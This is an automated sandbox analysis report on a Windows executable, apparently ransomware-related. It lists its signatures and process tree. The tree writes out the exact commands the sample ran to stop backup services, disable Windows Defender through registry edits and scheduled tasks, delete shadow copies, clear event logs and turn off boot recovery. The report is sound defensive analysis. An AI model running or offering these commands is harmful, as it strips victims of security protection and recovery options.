Resubmissions

12-01-2022 20:48

220112-zlnz9adhf2 10

12-01-2022 19:37

220112-yb5pksdgc6 10

12-01-2022 19:25

220112-x5evksdgdl 10

12-01-2022 16:50

220112-vb8jpadcc4 10

Analysis

  • max time kernel
    11s
  • max time network
    125s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    12-01-2022 20:48

General

  • Target

    cce2ebba7447792f1a3734d567fcce244332b6767f40beace68ad5dfded51fcf.exe

  • Size

    2.6MB

  • MD5

    47f540350b1d360403225d146cc7fbb8

  • SHA1

    43ad25b99cb47c7367b1703315402bb9e4970590

  • SHA256

    cce2ebba7447792f1a3734d567fcce244332b6767f40beace68ad5dfded51fcf

  • SHA512

    91387685946beb65cddbc62b19102a1135511563bd84f24cacc402a1e5a1afb750887fa9d50e7120acd23ae27af53669a45fc48363c000b7f2ffb777036019ce

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies registry class 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cce2ebba7447792f1a3734d567fcce244332b6767f40beace68ad5dfded51fcf.exe
    "C:\Users\Admin\AppData\Local\Temp\cce2ebba7447792f1a3734d567fcce244332b6767f40beace68ad5dfded51fcf.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3812
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:3708
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4128
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:3036
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:692
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:3500
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "UI0Detect" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4072
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "UI0Detect" /y
              3⤵
                PID:8
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "vmicvss" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4276
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "vmicvss" /y
                3⤵
                  PID:4228
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4216
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:4356
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4416
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:4316
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4300
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:3324
                    • C:\Windows\SYSTEM32\net.exe
                      net.exe stop "UnistoreSvc_12c39" /y
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3888
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 stop "UnistoreSvc_12c39" /y
                        3⤵
                          PID:3656
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:3192
                        • C:\Windows\SYSTEM32\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:524
                          • C:\Windows\SYSTEM32\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:644
                            • C:\Windows\SYSTEM32\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:908
                              • C:\Windows\SYSTEM32\sc.exe
                                sc.exe config "vmicvss" start= disabled
                                2⤵
                                  PID:1068
                                • C:\Windows\SYSTEM32\sc.exe
                                  sc.exe config "VSS" start= disabled
                                  2⤵
                                    PID:1228
                                  • C:\Windows\SYSTEM32\sc.exe
                                    sc.exe config "wbengine" start= disabled
                                    2⤵
                                      PID:1448
                                    • C:\Windows\SYSTEM32\sc.exe
                                      sc.exe config "WebClient" start= disabled
                                      2⤵
                                        PID:1632
                                      • C:\Windows\SYSTEM32\sc.exe
                                        sc.exe config "UnistoreSvc_12c39" start= disabled
                                        2⤵
                                          PID:1896
                                        • C:\Windows\SYSTEM32\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                          2⤵
                                            PID:1808
                                          • C:\Windows\SYSTEM32\reg.exe
                                            reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                            2⤵
                                              PID:2340
                                            • C:\Windows\SYSTEM32\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                              2⤵
                                                PID:2576
                                              • C:\Windows\SYSTEM32\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:3256
                                                • C:\Windows\SYSTEM32\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                  2⤵
                                                    PID:3088
                                                  • C:\Windows\SYSTEM32\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:3232
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:4828
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:1196
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:1372
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:2968
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                              2⤵
                                                                PID:4900
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                                2⤵
                                                                  PID:4592
                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:4752
                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:3016
                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                      2⤵
                                                                        PID:2888
                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                        2⤵
                                                                          PID:5064
                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                          2⤵
                                                                            PID:5008
                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                            2⤵
                                                                              PID:700
                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                              2⤵
                                                                                PID:1176
                                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                                2⤵
                                                                                  PID:4904
                                                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                                  2⤵
                                                                                    PID:2008
                                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                    2⤵
                                                                                      PID:2208
                                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                                      reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                      2⤵
                                                                                        PID:4508
                                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                                        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                        2⤵
                                                                                          PID:1332
                                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                                          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:1572
                                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                                          reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:1712
                                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:2104
                                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                          2⤵
                                                                                            PID:4808
                                                                                          • C:\Windows\SYSTEM32\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:2304
                                                                                            • C:\Windows\SYSTEM32\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:2988
                                                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:3628
                                                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                  • Modifies security service
                                                                                                  PID:4688
                                                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:3756
                                                                                                  • C:\Windows\SYSTEM32\vssadmin.exe
                                                                                                    vssadmin.exe delete shadows /all /quiet
                                                                                                    2⤵
                                                                                                    • Interacts with shadow copies
                                                                                                    PID:3772
                                                                                                  • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                    wevtutil.exe cl system
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:2176
                                                                                                  • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                    wevtutil.exe cl security
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:4036
                                                                                                  • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                    wevtutil.exe cl application
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:4100
                                                                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                                                                    wmic.exe SHADOWCOPY /nointeractive
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:4136
                                                                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                                                                    wmic.exe shadowcopy delete
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3184
                                                                                                  • C:\Windows\SYSTEM32\bcdedit.exe
                                                                                                    bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                                                    2⤵
                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                    PID:4284
                                                                                                  • C:\Windows\SYSTEM32\bcdedit.exe
                                                                                                    bcdedit.exe /set {default} recoveryenabled no
                                                                                                    2⤵
                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                    PID:4244
                                                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                                                    cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                    2⤵
                                                                                                      PID:4344
                                                                                                      • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                        3⤵
                                                                                                        • Deletes Windows Defender Definitions
                                                                                                        PID:4324
                                                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                                                      cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                      2⤵
                                                                                                        PID:4320
                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                          3⤵
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:3040
                                                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                                                        cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                        2⤵
                                                                                                          PID:1608
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                            3⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:1780

                                                                                                      Network

                                                                                                      MITRE ATT&CK Enterprise v6

                                                                                                      Replay Monitor

                                                                                                      Loading Replay Monitor...

                                                                                                      Downloads

                                                                                                      • memory/1780-225-0x000002BF247D0000-0x000002BF247D2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-223-0x000002BF247D0000-0x000002BF247D2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-217-0x000002BF247D0000-0x000002BF247D2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-218-0x000002BF247D0000-0x000002BF247D2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-219-0x000002BF247D0000-0x000002BF247D2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-220-0x000002BF3CF40000-0x000002BF3CF62000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/1780-222-0x000002BF247D0000-0x000002BF247D2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-216-0x000002BF247D0000-0x000002BF247D2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-254-0x000002BF3CEC8000-0x000002BF3CEC9000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/1780-253-0x000002BF247D0000-0x000002BF247D2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-224-0x000002BF3D460000-0x000002BF3D4D6000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/1780-230-0x000002BF3CEC0000-0x000002BF3CEC2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-233-0x000002BF3CEC3000-0x000002BF3CEC5000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-234-0x000002BF3CEC6000-0x000002BF3CEC8000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/3040-214-0x0000022B0DB30000-0x0000022B0DB32000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/3040-182-0x0000022B0DB30000-0x0000022B0DB32000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/3040-192-0x0000022B262C3000-0x0000022B262C5000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/3040-187-0x0000022B0DB30000-0x0000022B0DB32000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/3040-186-0x0000022B267C0000-0x0000022B26836000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/3040-180-0x0000022B0DB30000-0x0000022B0DB32000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/3040-229-0x0000022B262C8000-0x0000022B262C9000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3040-213-0x0000022B262C6000-0x0000022B262C8000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/3040-185-0x0000022B0DB30000-0x0000022B0DB32000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/3040-179-0x0000022B0DB30000-0x0000022B0DB32000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/3040-181-0x0000022B0DB30000-0x0000022B0DB32000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/3040-184-0x0000022B0DB30000-0x0000022B0DB32000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/3040-183-0x0000022B26270000-0x0000022B26292000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/3040-191-0x0000022B262C0000-0x0000022B262C2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB